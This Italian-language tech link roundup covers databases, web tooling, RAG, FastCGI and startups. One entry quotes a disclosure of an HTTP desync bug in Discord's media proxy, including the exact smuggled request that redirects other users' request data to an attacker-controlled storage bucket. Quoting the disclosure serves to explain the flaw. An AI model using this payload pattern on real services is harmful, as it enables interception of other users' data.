How to tune performance settings in ClickHouse for large data loads. DataPacket condivide trick di configurazione di ClickHouse.
How to tune performance settings in ClickHouse for large data loads. DataPacket condivide trick di configurazione di ClickHouse.
I Could've Rickrolled the Entire FIFA World Cup. All I Needed Was My ID. La piattaforma di gestione del broadcast dei mondiali di calcio era praticamente ad accesso libero. Un po' di screenshot di com'è fatta e come funziona.
Making Electron apps feel native on Mac. Segnalibro per una lista di trucchi per rendere un'app Electron il più vicina possibile al feeling nativo.
Fontastic Space permette di confrontare font per conoscerne la loro precisa occupazione di spazio.
How to tell if scrapers are eating your bandwidth. Dal blog di bunny.net riassuntone dei tipi di scraper e crawler esistenti, tra motori di ricerca e nuovi bot AI (di almeno tre tipi).
Le aspirazioni di Railway per essere una startup ancora piccola sono incredibili. Qua spiegano come hanno costruito in pochi mesi una CDN Anycast con 60 POP e 30M RPS, qua come gestiscono l'inventario dei server anche con l'aiuto dell'AI, qua la nuova generazione di hardware per le location compute. Ormai sono sulla strade per competere con Cloudflare.
Stop Using Conventional Commits. Ah, finalmente ho trovato il mio club. I conventional commit sono inutili nella maggior parte dei casi.
AudioMass è un editor audio multitraccia gratuito e open source che funziona nel browser.
In Italia il cliente non ha sempre ragione. Si è inceppata la concorrenza che porta al miglioramento del servizio ai client?
Uscito da queste esperienze mi sono chiesto: perché i commercianti italiani possono permettersi di guardare dall’alto in basso i clienti? Perché si sentono spesso in una posizione di autorità anziché di servizio? Le imprese cercano profitti, quindi hanno bisogno di clienti contenti. Dovrebbero trattarli bene. E noi clienti, se trattati male, dovremmo andarcene. La concorrenza dovrebbe fare il suo lavoro: premiare chi ci rispetta, punire chi ci umilia.
Idempotency Is Easy Until the Second Request Is Different. Deep dive nell'implementazione di idempotency nelle API HTTP.
PageIndex usa un sistema agentico per trovare documenti rilevanti per rispondere a una query, rispetto al classico RAG basato su similarità semantica.
Traditional vector-based RAG relies on semantic similarity rather than true relevance. But similarity ≠ relevance — what we truly need in retrieval is relevance, and that requires reasoning. When working with professional documents that demand domain expertise and multi-step reasoning, similarity search often falls short.
Inspired by AlphaGo, we propose PageIndex — a vectorless, reasoning-based RAG system that builds a hierarchical tree index from long documents and uses LLMs to reason over that index for agentic, context-aware retrieval. It simulates how human experts navigate and extract knowledge from complex documents through tree search, enabling LLMs to think and reason their way to the most relevant document sections. PageIndex performs retrieval in two steps:
- Generate a “Table-of-Contents” tree structure index of documents
- Perform reasoning-based retrieval through tree search
FastCGI: 30 Years Old and Still the Better Protocol for Reverse Proxies. Andrew Ayer di SSLMate spiega in occasione del 30° anniversario di FastCGI come il protocollo sia per certi versi (e almeno in teoria) migliore di HTTP per la comunicazione tra reverse proxy e backend.
FastCGI is very usable today, and has been in production use at SSLMate for over 10 years. That said, using a vintage technology has some downsides. It was never updated to support WebSockets. The tooling is not as good. For example, curl has no way to make requests to a FastCGI server. It supports FTP, Gopher, and even SMTP (however that works), but not FastCGI. When I benchmarked Go's FastCGI server behind a variety of reverse proxies, some workloads had worse throughput compared to HTTP/1.1 or HTTP/2. I don't think that's inherent to the protocol, but a reflection that FastCGI code paths have not been optimized as much as HTTP.
USB Cheat Sheet. Visto che gli standard USB sono confusionari e le cose cambiano nome ogni tanto.
HTTP desync in Discord's media proxy. Vulnerabilità interessante nel proxy di Discord verso il bucket Google Cloud Storage:
I sent the following request to the media proxy:
GET /attachments/%20HTTP/1.1%0AHost:x%0A%0APUT%20/request.txt%20HTTP/1.1%0AHost:myevilbucket.storage.googleapis.com%0AContent-Length:250%0A%0A HTTP/1.1 Host: media.discordapp.netWhich caused the backend to send out these two requests to GCP:
GET /attachments/ HTTP/1.1 Host:xPUT /request.txt HTTP/1.1 Host:myevilbucket.storage.googleapis.com Content-Length:250 HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.6; rv:92.0) Gecko/20100101 Firefox/92.0 Host: discord.storage.googleapis.comThe PUT request expected 250 bytes of data but only ~150 bytes were given, meaning that the deficit would be eaten from whatever gets written to the stream next, i.e., the next borrower’s request.
And sure enough when I checked a moment later, my request.txt had an attachment link in it I’ve never seen before: [...]
Healthchecks.io Now Uses Self-hosted Object Storage. Il maestro del self-hosting ora self-hosta anche uno storage S3-compatible, basato sul file system:
Versity S3 Gateway turns your local filesystem into an S3 server. An S3 PutObject operation creates a regular file on the filesystem, an S3 GetObject operation reads a regular file from the filesystem, and an S3 DeleteObject operation deletes a file from the filesystem. It does not need a separate database for metadata storage. You can use any backup tool to take backups. The upgrade procedure is: replace a single binary and restart a systemd service. It is written in Go, and is being actively developed. The one bug I found and reported was fixed in just a few days.
Il tradeoff è l'assenza di HA e replicazione:
With this setup, if both drives on the object storage server fail at the same time, the system could lose up to 2 hours of not yet backed-up ping request bodies. This can be improved, as usual, with the cost of extra complexity.
E costa di più:
The costs have increased: renting an additional dedicated server costs more than storing ~100GB at a managed object storage service. But the improved performance and reliability are worth it.
Keeping a Postgres queue healthy. Il titolo nasconde un approfondimento sul funzionamento del vaccum in relazione alle tuple eliminate in PostgreSQL.
Firn is a high-performance, multi-tenant vector and full-text search engine backed by object storage (S3 / MinIO / R2 / GCS). It is designed as a credible open-source alternative to turbopuffer, proving that a professional-grade tiered storage architecture (RAM → NVMe → S3) is achievable entirely from open-source components. The cost efficiency of S3 with the speed of local RAM. A multi-tenant vector and full-text search engine backed by S3. Built with LanceDB and Foyer for microsecond-scale search latency on top of object storage.
Come sta Satispay dopo aver raccolto mezzo miliardo? Giulio Michelon riassume la storia di Satispay, che è on track per diventare profitable dopo un decennio e mezzo miliardo di investimenti, in grossa parte grazie alle nuove feature di welfare aziendale (buoni pasto e acquisto).
Cogito.md è un nuovo editor Markdown nativo per macOS, fatto da Fabrizio Rinaldi.
Interessante anche Tolaria.md (lancio a breve):
Sad Story Of My Google Workspace account suspension. Quando qualcosa va storto con Google, le storie sono tutte uguali e sembra di parlare con un muro. In questo caso dopo aver fatto delle modifiche alle impostazioni di sicurezza l'account è stato sospeso e i sistemi di recupero non funzionavano o richiedevano un'attesa di 30 giorni (per un'email di lavoro che nel frattempo non può ricevere email).